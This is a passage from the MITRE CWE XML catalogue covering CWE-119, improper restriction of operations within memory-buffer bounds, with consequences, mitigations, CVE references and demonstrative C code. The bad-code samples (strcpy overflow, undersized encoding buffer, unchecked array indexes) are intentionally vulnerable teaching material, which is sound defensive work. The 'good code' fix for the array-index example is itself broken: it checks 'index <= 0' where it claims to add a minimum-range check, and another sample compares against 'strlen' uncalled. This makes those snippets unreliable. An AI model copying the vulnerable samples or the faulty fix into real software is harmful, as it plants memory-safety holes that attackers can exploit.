               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>46</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>8</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>9</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Range
						Errors</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Improper Access of Indexable
						Resource (aka 'Range Error')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="119" Name="Improper Restriction of Operations within the Bounds of a Memory Buffer" Weakness_Abstraction="Class" Status="Usable">
			      <Description>
				        <Description_Summary>The software performs operations on a memory buffer, but it can
					read from or write to a memory location that is outside of the intended boundary
					of the buffer.</Description_Summary>
				        <Extended_Description>
					          <Text>Certain languages allow direct addressing of memory locations and do not
						automatically ensure that these locations are valid for the memory buffer
						that is being referenced. This can cause read or write operations to be
						performed on memory locations that may be associated with other variables,
						data structures, or internal program data.</Text>
					          <Text>As a result, an attacker may be able to execute arbitrary code, alter the
						intended control flow, read sensitive information, or cause the system to
						crash.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>118</Relationship_Target_ID>
					          <!--Improper Access of Indexable Resource ('Range Error')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>726</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A5 - Buffer Overflows-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>740</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 06 - Arrays (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>744</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>874</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>878</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="C"/>
					          <Language Prevalence="Often" Language_Name="C++"/>
					          <Language Language_Name="Assembly"/>
					          <Language_Class Language_Class_Description="Languages without memory management support"/>
				        </Languages>
				        <Platform_Notes>
					          <Text>It is possible in many programming languages to attempt an operation
						outside of the bounds of a memory buffer, but the consequences will vary
						widely depending on the language, platform, and chip architecture.</Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Memory Corruption</Term>
					          <Alternate_Term_Description>
						            <Text>The generic term "memory corruption" is often used to describe the
							consequences of writing to memory outside the bounds of a buffer, when
							the root cause is something other than a sequential copies of excessive
							data from a fixed starting location (i.e., classic buffer overflows or
							CWE-120). This may include issues such as incorrect pointer arithmetic,
							accessing invalid pointers due to incomplete initialization or memory
							release, etc. </Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the memory accessible by the attacker can be effectively
							controlled, it may be possible to execute arbitrary code, as with a
							standard buffer overflow.</Text>
						            <Text>If the attacker can overwrite a pointer's worth of memory (usually 32
							or 64 bits), he can redirect a function pointer to his own malicious
							code. Even when the attacker can only modify a single byte arbitrary
							code execution can be possible. Sometimes this is because the same
							problem can be exploited repeatedly to the same effect. Other times it
							is because the attacker can overwrite security-critical
							application-specific data -- such as a flag indicating whether the user
							is an administrator.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Out of bounds memory access will very likely result in the corruption
							of relevant memory, and perhaps instructions, possibly leading to a
							crash. Other attacks leading to lack of availability are possible,
							including putting the program into an infinite loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In the case of an out-of-bounds read, the attacker may have access to
							sensitive information. If the sensitive information contains system
							details, such as the current buffers position in memory, this knowledge
							can be used to craft further attacks, possibly with more severe
							consequences.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
						            <Text>Automated static analysis generally does not account for environmental
							considerations when reporting out-of-bounds memory operations. This can
							make it difficult for users to determine which warnings should be
							investigated first. For example, an analysis tool might report buffer
							overflows that originate from command line arguments in a program that
							is not expected to run with setuid or other special privileges.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>Detection techniques for buffer-related errors are more mature than
							for most other weakness types.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>For example, many languages that perform their own memory management,
							such as Java and Perl, are not subject to buffer overflows. Other
							languages, such as Ada and C#, typically provide overflow protection,
							but the protection can be disabled by the programmer.</Text>
						            <Text>Be wary that a language's interface to native code may still be
							subject to overflows, even if the language itself is theoretically safe.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>Examples include the Safe C String Library (SafeStr) by Messier and
							Viega [R.119.3], and the Strsafe.h library from Microsoft [R.119.2].
							These libraries provide safer versions of overflow-prone string-handling
							functions.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since many buffer overflows are not
							related to strings.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-10">
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run or compile the software using features or extensions that
							automatically provide a protection mechanism that mitigates or
							eliminates buffer overflows.</Text>
						            <Text>For example, certain compilers and extensions provide automatic buffer
							overflow detection mechanisms that are built into the compiled code.
							Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat
							FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not necessarily a complete solution, since these mechanisms
							can only detect certain types of overflows. In addition, an attack could
							still cause a denial of service, since the typical response is to exit
							the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-9">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider adhering to the following rules when allocating and managing
							an application's memory:</Text>
						            <Block Block_Nature="List">
							              <Text>Double check that your buffer is as large as you specify.</Text>
							              <Text>When using functions that accept a number of bytes to copy, such
								as strncpy(), be aware that if the destination buffer size is equal
								to the source buffer size, it may not NULL-terminate the
								string.</Text>
							              <Text>Check buffer boundaries if accessing the buffer in a loop and make
								sure you are not in danger of writing past the allocated
								space.</Text>
							              <Text>If necessary, truncate all input strings to a reasonable length
								before passing them to the copy and concatenation functions.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-11">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a feature like Address Space Layout Randomization (ASLR) [R.119.4]
							[R.119.6].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution. However, it forces the attacker to
							guess an unknown value that changes every program execution. In
							addition, an attack could still cause a denial of service, since the
							typical response is to exit the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-12">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a CPU and operating system that offers Data Execution Protection
							(NX) or its equivalent [R.119.6] [R.119.7].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since buffer overflows could be used
							to overwrite nearby variables to modify the software's state in
							dangerous ways. In addition, it cannot be used in cases in which
							self-modifying code is required. Finally, an attack could still cause a
							denial of service, since the typical response is to exit the
							application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-13">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Replace unbounded copy functions with analogous functions that support
							length arguments, such as strcpy with strncpy. Create these if they are
							not available.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This approach is still susceptible to calculation errors, including
							issues such as off-by-one errors (CWE-193) and incorrectly calculating
							buffer lengths (CWE-131).</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-1">
					          <Intro_Text>This example takes an IP address from a user, verifies that it is
						well formed and then looks up the hostname and copies it into a
						buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void host_lookup(char *user_supplied_addr){</Code>
							              <Block>
								                <Code>struct hostent *hp;</Code>
								                <Code>in_addr_t *addr;</Code>
								                <Code>char hostname[64];</Code>
								                <Code>in_addr_t inet_addr(const char *cp);</Code>
								                <Code/>
								                <Comment>/*routine that ensures user_supplied_addr is in the right
									format for conversion */</Comment>
								                <Code>validate_addr_form(user_supplied_addr);</Code>
								                <Code>addr = inet_addr(user_supplied_addr);</Code>
								                <Code>hp = gethostbyaddr( addr, sizeof(struct in_addr),
									AF_INET);</Code>
								                <Code>strcpy(hostname, hp-&gt;h_name);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This function allocates a buffer of 64 bytes to store the hostname,
							however there is no guarantee that the hostname will not be larger than
							64 bytes. If an attacker specifies an address which resolves to a very
							large hostname, then we may overwrite sensitive data or even relinquish
							control flow to the attacker.</Text>
						            <Text>Note that this example also contains an unchecked return value
							(CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-19">
					          <Intro_Text>This example applies an encoding procedure to an input string and
						stores it into a buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char * copy_input(char *user_supplied_string){</Code>
							              <Block Block_Nature="Bad_Code">
								                <Code>int i, dst_index;</Code>
								                <Code>char *dst_buf = (char*)malloc(4*sizeof(char) *
									MAX_SIZE);</Code>
								                <Code>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){</Code>
								                <Block>
									                  <Code>die("user string too long, die evil hacker!");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>dst_index = 0;</Code>
								                <Code>for ( i = 0; i &lt; strlen; i++ ){</Code>
								                <Block>
									                  <Code>if( '&amp;' == user_supplied_string[i] ){</Code>
									                  <Block>
										                    <Code>dst_buf[dst_index++] = '&amp;';</Code>
										                    <Code>dst_buf[dst_index++] = 'a';</Code>
										                    <Code>dst_buf[dst_index++] = 'm';</Code>
										                    <Code>dst_buf[dst_index++] = 'p';</Code>
										                    <Code>dst_buf[dst_index++] = ';';</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else if ('&lt;' == user_supplied_string[i] ){</Code>
									                  <Block>
										                    <Comment>/* encode to &amp;lt; */</Comment>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else dst_buf[dst_index++] =
										user_supplied_string[i];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return dst_buf;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer attempts to encode the ampersand character in the
							user-controlled string, however the length of the string is validated
							before the encoding procedure is applied. Furthermore, the programmer
							assumes encoding expansion will only expand a given character by a
							factor of 4, while the encoding of the ampersand expands by 5. As a
							result, when the encoding procedure expands the string it is possible to
							overflow the destination buffer if the attacker provides a string of
							many ampersands.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-90">
					          <Intro_Text>The following example asks a user for an offset into an array to
						select an item.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code/>
							              <Code>int main (int argc, char **argv) {</Code>
							              <Block>
								                <Code>char *items[] = {"boat", "car", "truck", "train"};</Code>
								                <Code>int index = GetUntrustedOffset();</Code>
								                <Code>printf("You selected %s\n", items[index-1]);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer allows the user to specify which element in the list to
							select, however an attacker can provide an out-of-bounds offset,
							resulting in a buffer over-read (CWE-126).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-100">
					          <Intro_Text>In the following code, the method retrieves a value from an array at
						a specific array index location that is given as an input parameter to the
						method</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int getValueFromArray(int *array, int len, int index) {</Code>
							              <Block>
								                <Code/>
								                <Code>int value;</Code>
								                <Code/>
								                <Comment>// check that the array index is less than the
									maximum</Comment>
								                <Comment>// length of the array</Comment>
								                <Code>if (index &lt; len) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// get the value at the specified index of the
										array</Comment>
									                  <Code>value = array[index];</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>// if array index is invalid then output error
									message</Comment>
								                <Comment>// and return value indicating error</Comment>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Value is: %d\n", array[index]);</Code>
									                  <Code>value = -1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return value;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, this method only verifies that the given array index is less
							than the maximum length of the array but does not check for the minimum
							value (CWE-839). This will allow a negative value to be accepted as the
							input array index, which will result in a out of bounds read (CWE-125)
							and may allow access to sensitive memory. The input array index should
							be checked to verify that is within the maximum and minimum range
							required for the array (CWE-129). In this example the if statement
							should be modified to include a minimum range check, as shown
							below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code/>
							              <Code>...</Code>
							              <Code/>
							              <Comment>// check that the array index is within the correct</Comment>
							              <Comment>// range of values for the array</Comment>
							              <Code>if (index &lt;= 0 &amp;&amp; index &lt; len)
								{</Code>
							              <Code/>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2550</Observed_Example_Reference>
					          <Observed_Example_Description>Classic stack-based buffer overflow in media
						player using a long entry in a playlist</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2403</Observed_Example_Reference>
					          <Observed_Example_Description>Heap-based buffer overflow in media player using a
						long entry in a playlist</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0689</Observed_Example_Reference>
					          <Observed_Example_Description>large precision value in a format string triggers
						overflow</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0690</Observed_Example_Reference>
					          <Observed_Example_Description>negative offset value leads to out-of-bounds
						read</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1532</Observed_Example_Reference>
					          <Observed_Example_Description>malformed inputs cause accesses of uninitialized
						or previously-deleted objects, leading to memory
						corruption</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1528</Observed_Example_Reference>
					          <Observed_Example_Description>chain: lack of synchronization leads to memory
						corruption</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0558</Observed_Example_Reference>
					          <Observed_Example_Description>attacker-controlled array index leads to code
						execution</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0269</Observed_Example_Reference>
					          <Observed_Example_Description>chain: -1 value from a function call was intended
						to indicate an error, but is used as an array index
						instead.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0566</Observed_Example_Reference>
					          <Observed_Example_Description>chain: incorrect calculations lead to incorrect
						pointer dereference and memory corruption</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1350</Observed_Example_Reference>
					          <Observed_Example_Description>product accepts crafted messages that lead to a
						dereference of an arbitrary pointer</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0191</Observed_Example_Reference>
					          <Observed_Example_Description>chain: malformed input causes dereference of
						uninitialized memory</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4113</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel trusts userland-supplied length value,
						allowing reading of sensitive information</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.119.1">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127;
						Chapter 14, "Prevent I18N Buffer Overruns" Page 441</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-27" Local_Reference_ID="R.119.2">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Using the Strsafe.h Functions</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms647466.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-26" Local_Reference_ID="R.119.3">
					          <Reference_Author>Matt Messier</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>Safe C String Library v1.0.3</Reference_Title>
					          <Reference_Link>http://www.zork.org/safestr/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-22" Local_Reference_ID="R.119.4">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Address Space Layout Randomization in Windows
						Vista</Reference_Title>
